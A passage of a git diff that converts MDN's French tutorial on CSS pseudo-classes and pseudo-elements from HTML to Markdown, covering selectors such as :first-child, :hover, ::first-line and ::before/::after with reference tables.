href="/fr/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">The box model</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li> -</ol> +3. [The box model](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Backgrounds and borders](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Handling different text directions](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Overflowing content](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Values and units](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Sizing items in CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, media, and form elements](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Styling tables](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Debugging CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organizing your CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.md b/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.md index 8e89104fdd..6e9c0d478a 100644 --- a/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.md +++ b/files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.md @@ -12,389 +12,212 @@ tags: translation_of: Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements original_slug: Apprendre/CSS/Building_blocks/Selectors/Pseudo-classes_et_pseudo-éléments --- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}} -<p>Voyons maintenant les sélecteurs de <strong>pseudo-classes</strong> et de <strong>pseudo-éléments</strong>. Il en existe un grand nombre, ces sélecteurs sont souvent assez spécifiques. Une fois que vous aurez compris comment les utiliser, revenez consulter leur liste pour voir si quelque chose peut fonctionner dans la tâche que vous essayez d'accomplir. Une fois encore, vérifiez la prise en charge par les navigateurs sur la page MDN associée à chaque sélecteur.</p> +Voyons maintenant les sélecteurs de **pseudo-classes** et de **pseudo-éléments**. Il en existe un grand nombre, ces sélecteurs sont souvent assez spécifiques. Une fois que vous aurez compris comment les utiliser, revenez consulter leur liste pour voir si quelque chose peut fonctionner dans la tâche que vous essayez d'accomplir. Une fois encore, vérifiez la prise en charge par les navigateurs sur la page MDN associée à chaque sélecteur. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Maîtrise élémentaire de l'informatique, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">suite logicielle de base installée</a>, compétences élémentaires pour <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">travailler avec des fichiers</a>, connaissance de base du HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction à HTML</a>), et une idée de <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">Comment fonctionne CSS</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Découvrir les sélecteurs de pseudo-classes et de pseudo-éléments.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Maîtrise élémentaire de l'informatique, + <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >suite logicielle de base installée</a + >, compétences élémentaires pour <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" + >travailler avec des fichiers</a + >, connaissance de base du HTML (cf. <a + href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >Introduction à HTML</a + >), et une idée de <a + href="/fr/docs/Learn/CSS/First_steps/How_CSS_works" + >Comment fonctionne CSS</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Découvrir les sélecteurs de pseudo-classes et de pseudo-éléments.</td> + </tr> + </tbody> </table> -<h2 id="Quest_ce_quune_pseudo-classe">Qu'est ce qu'une pseudo-classe ?</h2> +## Qu'est ce qu'une pseudo-classe ? -<p>Une pseudo-classe est un sélecteur ciblant des éléments dans un état spécifique, par ex. le premier élément d'un type, ou un élément survolé par le pointeur de la souris. Leur comportement correspond à celui d'une classe, mais qui ne s'appliquerait que partiellement. On gagne ainsi en flexibilité, en éliminant du code inutile. Le résultat est plus facile à maintenir.</p> +Une pseudo-classe est un sélecteur ciblant des éléments dans un état spécifique, par ex. le premier élément d'un type, ou un élément survolé par le pointeur de la souris. Leur comportement correspond à celui d'une classe, mais qui ne s'appliquerait que partiellement. On gagne ainsi en flexibilité, en éliminant du code inutile. Le résultat est plus facile à maintenir. -<p>Les pseudo-classes sont signalées par un mot clé commençant par deux points <code>:</code></p> +Les pseudo-classes sont signalées par un mot clé commençant par deux points `:` -<pre>:<em>pseudo-class-name</em></pre> + :pseudo-class-name -<h3 id="Exemple_dune_pseudo-classe_élémentaire">Exemple d'une pseudo-classe élémentaire </h3> +### Exemple d'une pseudo-classe élémentaire -<p>Voyons cela dans un premier exemple. Pour agrandir et mettre en gras le texte du premier paragraphe d'un article, on pourrait attribuer une classe à ce paragraphe, puis lui ajouter du CSS, comme ci-dessous :</p> +Voyons cela dans un premier exemple. Pour agrandir et mettre en gras le texte du premier paragraphe d'un article, on pourrait attribuer une classe à ce paragraphe, puis lui ajouter du CSS, comme ci-dessous : -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/first-child.html", '100%', 800)}} -<p>Mais cette solution est difficile à maintenir — que se passe-t-il si un nouveau paragraphe est ajouté en haut du document ? Il faut dans ce cas déplacer manuellement la classe vers le nouveau paragraphe. Une solution plus souple est d'utiliser le sélecteur de pseudo-classe {{cssxref (": first-child")}} — cela cible <em>dans tous les cas</em> le premier élément enfant de l'article : plus nécessaire d'éditer le code HTML (particulièrement utile en particulier quand le code HTML est généré par un CMS.)</p> +Mais cette solution est difficile à maintenir — que se passe-t-il si un nouveau paragraphe est ajouté en haut du document ? Il faut dans ce cas déplacer manuellement la classe vers le nouveau paragraphe. Une solution plus souple est d'utiliser le sélecteur de pseudo-classe {{cssxref (": first-child")}} — cela cible *dans tous les cas* le premier élément enfant de l'article : plus nécessaire d'éditer le code HTML (particulièrement utile en particulier quand le code HTML est généré par un CMS.) -<p>{{EmbedGHLiveSample ("css-examples/learn/selectors/first-child2.html", '100%', 700)}}</p> +{{EmbedGHLiveSample ("css-examples/learn/selectors/first-child2.html", '100%', 700)}} -<p>Toutes les pseudo-classes se comportent de la même manière. Elles ciblent les éléments du document dans un état donné, comme si vous aviez ajouté une classe dans votre code HTML. Jetez un œil à quelques exemples sur MDN :</p> +Toutes les pseudo-classes se comportent de la même manière. Elles ciblent les éléments du document dans un état donné, comme si vous aviez ajouté une classe dans votre code HTML. Jetez un œil à quelques exemples sur MDN : -<ul> - <li><code><a href="/fr/docs/Web/CSS/:last-child">:last-child</a></code></li> - <li><code><a href="/fr/docs/Web/CSS/:only-child">:only-child</a></code></li> - <li><code><a href="/fr/docs/Web/CSS/:invalid">:invalid</a></code></li> -</ul> +- [`:last-child`](/fr/docs/Web/CSS/:last-child) +- [`:only-child`](/fr/docs/Web/CSS/:only-child) +- [`:invalid`](/fr/docs/Web/CSS/:invalid) -<h3 id="Pseudo-classes_daction_utilisateur">Pseudo-classes d'action utilisateur</h3> +### Pseudo-classes d'action utilisateur -<p>Certaines pseudo-classes ne s'appliquent que lorsque l'utilisateur interagit avec le document d'une manière ou d'une autre. Ces pseudo-classes d'action utilisateur, parfois appelées <em>pseudo-classes dynamiques</em>, agissent comme si une classe avait été ajoutée à l'élément lorsque l'utilisateur interagit avec lui. Par exemple :</p> +Certaines pseudo-classes ne s'appliquent que lorsque l'utilisateur interagit avec le document d'une manière ou d'une autre. Ces pseudo-classes d'action utilisateur, parfois appelées _pseudo-classes dynamiques_, agissent comme si une classe avait été ajoutée à l'élément lorsque l'utilisateur interagit avec lui. Par exemple : -<p><code><a href="/fr/docs/Web/CSS/:hover">:hover</a></code> — mentionné ci-dessus ; s'applique quand l'utilisateur déplace son pointeur sur un élément, généralement un lien.<br> - <code><a href="/fr/docs/Web/CSS/:focus">:focus</a></code> — s'applique uniquement si l'utilisateur concentre l'élément à l'aide des commandes du clavier.</p> +[`:hover`](/fr/docs/Web/CSS/:hover) — mentionné ci-dessus ; s'applique quand l'utilisateur déplace son pointeur sur un élément, généralement un lien. +[`:focus`](/fr/docs/Web/CSS/:focus) — s'applique uniquement si l'utilisateur concentre l'élément à l'aide des commandes du clavier. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/hover.html", '100%', 500)}} -<h2 id="Quest_ce_quun_pseudo-élément">Qu'est ce qu'un pseudo-élément ?</h2> +## Qu'est ce qu'un pseudo-élément ? -<p>Les pseudo-éléments se comportent de manière similaire, même s'ils se comportent comme si vous aviez ajouté un tout nouvel élément HTML dans le balisage, au lieu d'appliquer une classe à des éléments existants. Les pseudo-éléments commencent avec un double deux-points <code>::</code>.</p> +Les pseudo-éléments se comportent de manière similaire, même s'ils se comportent comme si vous aviez ajouté un tout nouvel élément HTML dans le balisage, au lieu d'appliquer une classe à des éléments existants. Les pseudo-éléments commencent avec un double deux-points `::`. -<pre><em>::pseudo-element-name</em></pre> + ::pseudo-element-name -<div class="note"> -<p><strong>Note :</strong> Certains anciens pseudo-éléments utilisaient un simple deux-points, vous pouvez donc parfois rencontrer cette syntaxe dans du code ou des exemples. Les navigateurs modernes supportent les anciens pseudo-éléments avec un simple ou double deux-points pour assurer la compatibilité.</p> -</div> +> **Note :** Certains anciens pseudo-éléments utilisaient un simple deux-points, vous pouvez donc parfois rencontrer cette syntaxe dans du code ou des exemples. Les navigateurs modernes supportent les anciens pseudo-éléments avec un simple ou double deux-points pour assurer la compatibilité. -<p>Par exemple, si vous souhaitez sélectionner la première ligne d'un paragraphe, vous pouvez l'entourer d'un élément <span> et utiliser un sélecteur d'éléments ; cependant, cela échouerait si le nombre de mots que vous avez entourés était plus long ou plus court que la largeur de l'élément parent. Comme nous avons tendance à ne pas savoir combien de mots tiendront sur une ligne - étant donné que cela peut varier si la largeur de l'écran ou la taille de la police change - il est impossible de le faire de manière robuste en ajoutant du HTML.</p> +Par exemple, si vous souhaitez sélectionner la première ligne d'un paragraphe, vous pouvez l'entourer d'un élément \<span> et utiliser un sélecteur d'éléments ; cependant, cela échouerait si le nombre de mots que vous avez entourés était plus long ou plus court que la largeur de l'élément parent. Comme nous avons tendance à ne pas savoir combien de mots tiendront sur une ligne - étant donné que cela peut varier si la largeur de l'écran ou la taille de la police change - il est impossible de le faire de manière robuste en ajoutant du HTML. -<p>Le pseudo-sélecteur d'éléments <code>::first-line</code> le fera pour vous de manière fiable - même si le nombre de mots augmente ou diminue, il ne sélectionnera que la première ligne.</p> +Le pseudo-sélecteur d'éléments `::first-line` le fera pour vous de manière fiable - même si le nombre de mots augmente ou diminue, il ne sélectionnera que la première ligne. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/first-line.html", '100%', 800)}} -<p>Il agit comme si un <code><span></code> était comme par magie placé autour de cette première ligne formatée, et était mis à jour à chaque fois que la longueur de la ligne changeait.</p> +Il agit comme si un `<span>` était comme par magie placé autour de cette première ligne formatée, et était mis à jour à chaque fois que la longueur de la ligne changeait. -<p>Vous pouvez voir que cela sélectionne la première ligne des deux paragraphes.</p> +Vous pouvez voir que cela sélectionne la première ligne des deux paragraphes. -<h2 id="Combiner_pseudo-classes_et_pseudo-éléments">Combiner pseudo-classes et pseudo-éléments</h2> +## Combiner pseudo-classes et pseudo-éléments -<p>Si vous souhaitez mettre en gras la première ligne du premier paragraphe, vous pouvez enchaîner les sélecteurs <code>:first-child</code> et <code>::first-line</code> Essayez de modifier l'exemple précédent en direct pour qu'il utilise le CSS suivant. Nous souhaitons sélectionner la première ligne du premier élément <code><p></code>, qui se trouve à l'intérieur d'un élément <code><article></code></p> +Si vous souhaitez mettre en gras la première ligne du premier paragraphe, vous pouvez enchaîner les sélecteurs `:first-child` et `::first-line` Essayez de modifier l'exemple précédent en direct pour qu'il utilise le CSS suivant. Nous souhaitons sélectionner la première ligne du premier élément `<p>`, qui se trouve à l'intérieur d'un élément `<article>` -<pre class="brush: css">article p:first-child::first-line { +```css +article p:first-child::first-line { font-size: 120%; font-weight: bold; -}</pre> - -<h2 id="Générer_du_contenu_avec_before_et_after">Générer du contenu avec ::before et ::after</h2> - -<p>Il existe quelques pseudo-éléments spéciaux, qui sont utilisés avec la propriété <code><a href="/fr/docs/Web/CSS/content">content</a></code> pour insérer du contenu dans votre document en utilisant le CSS.</p> - -<p>Vous pouvez les utiliser pour insérer une chaîne de texte, comme dans l'exemple ci-dessous. Essayez de changer la valeur du texte de la propriété {{cssxref("content")}} et vous verrez qu'elle change en sortie. Vous pouvez également changer le pseudo-élément <code>::before</code> en <code>::after</code> et voir le texte inséré à la fin de l'élément au lieu du début.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}</p> - -<p>L'insertion de chaînes de caractères à partir de CSS n'est pas vraiment quelque chose que nous faisons très souvent sur le web, car ce texte est inaccessible pour certains lecteurs d'écran et pourrait être difficile à trouver et à modifier à l'avenir.</p> - -<p>Une utilisation plus pertinente de ces pseudo-éléments consiste à insérer une icône, par exemple la petite flèche ajoutée dans l'exemple ci-dessous, qui est un indicateur visuel que nous ne voudrions pas voir lu par un lecteur d'écran :</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}</p> - -<p>Ces pseudo-éléments sont aussi fréquemment utilisés pour insérer une chaîne vide, qui peut ensuite être stylisée comme n'importe quel élément de la page.</p> - -<p>Dans l'exemple suivant, nous avons ajouté une chaîne vide en utilisant le e pseudo-élément <code>::before</code> pseudo-element. Nous l'avons défini en <code>display: block</code> afin de pouvoir la styliser avec une largeur et une hauteur. Nous utilisons ensuite le CSS pour la styliser comme n'importe quel élément. Vous pouvez jouer avec le CSS et modifier son apparence et son comportement.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}}</p> - -<p>L'utilisation des pseudo-éléments <code>::before</code> et <code>::after</code> avec la propriété <code>content</code> est appelée "Generated Content" en CSS, et vous verrez souvent cette technique utilisée pour diverses tâches. Un bon exemple est le site <a href="http://www.cssarrowplease.com/">CSS Arrow Please</a>, qui vous aide à générer une flèche avec le CSS. Examinez le CSS lorsque vous créez votre flèche et vous verrez les pseudo-éléments {{cssxref("::before")}} and {{cssxref("::after")}}utilisés. Chaque fois que vous voyez ces sélecteurs, regardez la propriété {{cssxref("content")}} pour voir ce qui est ajouté au document.</p> - -<h2 id="Section_de_référence">Section de référence</h2> - -<p>Il existe un grand nombre de pseudo-classes et pseudo-éléments, une bonne liste de références est donc utile. Vous trouverez ci-dessous des tableaux les répertoriant, avec pour chacun le lien vers la page de référence sur MDN. Vous y trouverez toutes les informations sur leur utilisation.</p> - -<h3 id="Pseudo-classes">Pseudo-classes</h3> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Sélecteur</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ Cssxref(":active") }}</td> - <td>Matches when the user activates (for example clicks on) an element.</td> - </tr> - <tr> - <td>{{ Cssxref(":any-link") }}</td> - <td>Matches both the <code>:link</code> and <code>:visited</code> states of a link.</td> - </tr> - <tr> - <td>{{ Cssxref(":blank") }}</td> - <td>Matches an <a href="/fr/docs/Web/HTML/Element/input"><code><input></code> element</a> whose input value is empty.</td> - </tr> - <tr> - <td>{{ Cssxref(":checked") }}</td> - <td>Matches a radio button or checkbox in the selected state.</td> - </tr> - <tr> - <td>{{ Cssxref(":current") }}</td> - <td>Matches the element, or an ancestor of the element, that is currently being displayed.</td> - </tr> - <tr> - <td>{{ Cssxref(":default") }}</td> - <td>Matches the one or more UI elements that are the default among a set of similar elements.</td> - </tr> - <tr> - <td>{{ Cssxref(":dir") }}</td> - <td>Select an element based on its directionality (value of the HTML <code><a href="/fr/docs/Web/HTML/Global_attributes/dir">dir</a></code> attribute or CSS <code><a href="/fr/docs/Web/CSS/direction">direction</a></code> property).</td> - </tr> - <tr> - <td>{{ Cssxref(":disabled") }}</td> - <td>Matches user interface elements that are in an disabled state.</td> - </tr> - <tr> - <td>{{ Cssxref(":empty") }}</td> - <td>Matches an element that has no children except optionally white space.</td> - </tr> - <tr> - <td>{{ Cssxref(":enabled") }}</td> - <td>Matches user interface elements that are in an enabled state.</td> - </tr> - <tr> - <td>{{ Cssxref(":first") }}</td> - <td>In <a href="/fr/docs/Web/CSS/Paged_Media">Paged Media</a>, matches the first page.</td> - </tr> - <tr> - <td>{{ Cssxref(":first-child") }}</td> - <td>Matches an element that is first among its siblings.</td> - </tr> - <tr> - <td>{{ Cssxref(":first-of-type") }}</td> - <td>Matches an element which is first of a certain type among its siblings.</td> - </tr> - <tr> - <td>{{ Cssxref(":focus") }}</td> - <td>Matches when an element has focus.</td> - </tr> - <tr> - <td>{{ Cssxref(":focus-visible")}}</td> - <td>Matches when an element has focus and the focus should be visible to the user.</td> - </tr> - <tr> - <td>{{ Cssxref(":focus-within") }}</td> - <td>Matches an element with focus plus an element with a descendent that has focus.</td> - </tr> - <tr> - <td>{{ Cssxref(":future") }}</td> - <td>Matches the elements after the current element.</td> - </tr> - <tr> - <td>{{ Cssxref(":hover") }}</td> - <td>Matches when the user hovers over an element.</td> - </tr> - <tr> - <td>{{ Cssxref(":indeterminate") }}</td> - <td>Matches UI elements whose value is in an indeterminate state, usually <a href="/fr/docs/Web/HTML/Element/input/checkbox">checkboxes</a>.</td> - </tr> - <tr> - <td>{{ Cssxref(":in-range") }}</td> - <td>Matches an element with a range when its value is in-range.</td> - </tr> - <tr> - <td>{{ Cssxref(":invalid") }}</td> - <td>Matches an element, such as an <code><input></code>, in an invalid state.</td> - </tr> - <tr> - <td>{{ Cssxref(":lang") }}</td> - <td>Matches an element based on language (value of the HTML <a href="/fr/docs/Web/HTML/Global_attributes/lang">lang</a> attribute).</td> - </tr> - <tr> - <td>{{ Cssxref(":last-child") }}</td> - <td>Matches an element which is last among its siblings.</td> - </tr> - <tr> - <td>{{ Cssxref(":last-of-type") }}</td> - <td>Matches an element of a certain type that is last among its siblings.</td> - </tr> - <tr> - <td>{{ Cssxref(":left") }}</td> - <td>In <a href="/fr/docs/Web/CSS/CSS_Pages">Paged Media</a>, matches left-hand pages.</td> - </tr> - <tr> - <td>{{ Cssxref(":link")}}</td> - <td>Matches unvisited links.</td> - </tr> - <tr> - <td>{{ Cssxref(":local-link")}}</td> - <td>Matches links pointing to pages that are in the same site as the current document.</td> - </tr> - <tr> - <td>{{ Cssxref(":is", ":is()")}}</td> - <td>Matches any of the selectors in the selector list that is passed in.</td> - </tr> - <tr> - <td>{{ Cssxref(":not") }}</td> - <td>Matches things not matched by selectors that are passed in as a value to this selector.</td> - </tr> - <tr> - <td>{{ Cssxref(":nth-child") }}</td> - <td>Matches elements from a list of siblings — the siblings are matched by a formula of the form <var>an+b</var> (e.g. 2n + 1 would match elements 1, 3, 5, 7, etc. All the odd ones.)</td> - </tr> - <tr> - <td>{{ Cssxref(":nth-of-type") }}</td> - <td>Matches elements from a list of siblings that are of a certain type (e.g. <code><p></code> elements) — the siblings are matched by a formula of the form <var>an+b</var> (e.g. 2n + 1 would match that type of element, numbers 1, 3, 5, 7, etc. All the odd ones.)</td> - </tr> - <tr> - <td>{{ Cssxref(":nth-last-child") }}</td> - <td>Matches elements from a list of siblings, counting backwards from the end. The siblings are matched by a formula of the form <var>an+b</var> (e.g. 2n + 1 would match the last element in the sequence, then two elements before that, then two elements before that, etc. All the odd ones, counting from the end.)</td> - </tr> - <tr> - <td>{{ Cssxref(":nth-last-of-type") }}</td> - <td>Matches elements from a list of siblings that are of a certain type (e.g. <code><p></code> elements), counting backwards from the end. The siblings are matched by a formula of the form <var>an+b</var> (e.g. 2n + 1 would match the last element of that type in the sequence, then two elements before that, then two elements before that, etc. All the odd ones, counting from the end.)</td> - </tr> - <tr> - <td>{{ Cssxref(":only-child") }}</td> - <td>Matches an element that has no siblings.</td> - </tr> - <tr> - <td>{{ Cssxref(":only-of-type") }}</td> - <td>Matches an element that is the only one of its type among its siblings.</td> - </tr> - <tr> - <td>{{ Cssxref(":optional") }}</td> - <td>Matches form elements that are not required.</td> - </tr> - <tr> - <td>{{ Cssxref(":out-of-range") }}</td> - <td>Matches an element with a range when its value is out of range.</td> - </tr> - <tr> - <td>{{ Cssxref(":past") }}</td> - <td>Matches the elements before the current element.</td> - </tr> - <tr> - <td>{{ Cssxref(":placeholder-shown") }}</td> - <td>Matches an input element that is showing placeholder text.</td> - </tr> - <tr> - <td>{{ Cssxref(":playing") }}</td> - <td>Matches an element representing an audio, video, or similar resource that is capable of being “played” or “paused”, when that element is “playing”.</td> - </tr> - <tr> - <td>{{ Cssxref(":paused") }}</td> - <td>Matches an element representing an audio, video, or similar resource that is capable of being “played” or “paused”, when that element is “paused”.</td> - </tr> - <tr> - <td>{{ Cssxref(":read-only") }}</td> - <td>Matches an element if it is not user-alterable.</td> - </tr> - <tr> - <td>{{ Cssxref(":read-write") }}</td> - <td>Matches an element if it is user-alterable.</td> - </tr> - <tr> - <td>{{ Cssxref(":required") }}</td> - <td>Matches form elements that are required.</td> - </tr> - <tr> - <td>{{ Cssxref(":right") }}</td> - <td>In <a href="/fr/docs/Web/CSS/CSS_Pages">Paged Media</a>, matches right-hand pages.</td> - </tr> - <tr> - <td>{{ Cssxref(":root") }}</td> - <td>Matches an element that is the root of the document.</td> - </tr> - <tr> - <td>{{ Cssxref(":scope") }}</td> - <td>Matches any element that is a scope element.</td> - </tr> - <tr> - <td>{{ Cssxref(":valid") }}</td> - <td>Matches an element such as an <code><input></code> element, in a valid state.</td> - </tr> - <tr> - <td>{{ Cssxref(":target") }}</td> - <td>Matches an element if it is the target of the current URL (i.e. if it has an ID matching the current <a href="https://en.wikipedia.org/wiki/Fragment_identifier">URL fragment</a>).</td> - </tr> - <tr> - <td>{{ Cssxref(":visited") }}</td> - <td>Matches visited links.</td> - </tr> - </tbody> -</table> - -<h3 id="Pseudo-éléments">Pseudo-éléments</h3> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Sélecteur</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ Cssxref("::after") }}</td> - <td>Matches a stylable element appearing after the originating element's actual content.</td> - </tr> - <tr> - <td>{{ Cssxref("::before") }}</td> - <td>Matches a stylable element appearing before the originating element's actual content.</td> - </tr> - <tr> - <td>{{ Cssxref("::first-letter") }}</td> - <td>Matches the first letter of the element.</td> - </tr> - <tr> - <td>{{ Cssxref("::first-line") }}</td> - <td>Matches the first line of the containing element.</td> - </tr> - <tr> - <td>{{ Cssxref("::grammar-error") }}</td> - <td>Matches a portion of the document containing a grammar error as flagged by the browser.</td> - </tr> - <tr> - <td>{{ Cssxref("::selection") }}</td> - <td>Matches the portion of the document that has been selected.</td> - </tr> - <tr> - <td>{{ Cssxref("::spelling-error") }}</td> - <td>Matches a portion of the document containing a spelling error as flagged by the browser.</td> - </tr> - </tbody> -</table> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Dans_ce_cours">Dans ce cours</h2> - -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">The box model</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li> -</ol> +} +``` + +## Générer du contenu avec ::before et ::after + +Il existe quelques pseudo-éléments spéciaux, qui sont utilisés avec la propriété [`content`](/fr/docs/Web/CSS/content) pour insérer du contenu dans votre document en utilisant le CSS. + +Vous pouvez les utiliser pour insérer une chaîne de texte, comme dans l'exemple ci-dessous. Essayez de changer la valeur du texte de la propriété {{cssxref("content")}} et vous verrez qu'elle change en sortie. Vous pouvez également changer le pseudo-élément `::before` en `::after` et voir le texte inséré à la fin de l'élément au lieu du début. + +{{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}} + +L'insertion de chaînes de caractères à partir de CSS n'est pas vraiment quelque chose que nous faisons très souvent sur le web, car ce texte est inaccessible pour certains lecteurs d'écran et pourrait être difficile à trouver et à modifier à l'avenir. + +Une utilisation plus pertinente de ces pseudo-éléments consiste à insérer une icône, par exemple la petite flèche ajoutée dans l'exemple ci-dessous, qui est un indicateur visuel que nous ne voudrions pas voir lu par un lecteur d'écran : + +{{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}} + +Ces pseudo-éléments sont aussi fréquemment utilisés pour insérer une chaîne vide, qui peut ensuite être stylisée comme n'importe quel élément de la page. + +Dans l'exemple suivant, nous avons ajouté une chaîne vide en utilisant le e pseudo-élément `::before` pseudo-element. Nous l'avons défini en `display: block` afin de pouvoir la styliser avec une largeur et une hauteur. Nous utilisons ensuite le CSS pour la styliser comme n'importe quel élément. Vous pouvez jouer avec le CSS et modifier son apparence et son comportement. + +{{EmbedGHLiveSample("css-examples/learn/selectors/before-styled.html", '100%', 500)}} + +L'utilisation des pseudo-éléments `::before` et `::after` avec la propriété `content` est appelée "Generated Content" en CSS, et vous verrez souvent cette technique utilisée pour diverses tâches. Un bon exemple est le site [CSS Arrow Please](http://www.cssarrowplease.com/), qui vous aide à générer une flèche avec le CSS. Examinez le CSS lorsque vous créez votre flèche et vous verrez les pseudo-éléments {{cssxref("::before")}} and {{cssxref("::after")}}utilisés. Chaque fois que vous voyez ces sélecteurs, regardez la propriété {{cssxref("content")}} pour voir ce qui est ajouté au document. + +## Section de référence + +Il existe un grand nombre de pseudo-classes et pseudo-éléments, une bonne liste de références est donc utile. Vous trouverez ci-dessous des tableaux les répertoriant, avec pour chacun le lien vers la page de référence sur MDN. Vous y trouverez toutes les informations sur leur utilisation. + +### Pseudo-classes + +| Sélecteur | Description | +| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{ Cssxref(":active") }} | Matches when the user activates (for example clicks on) 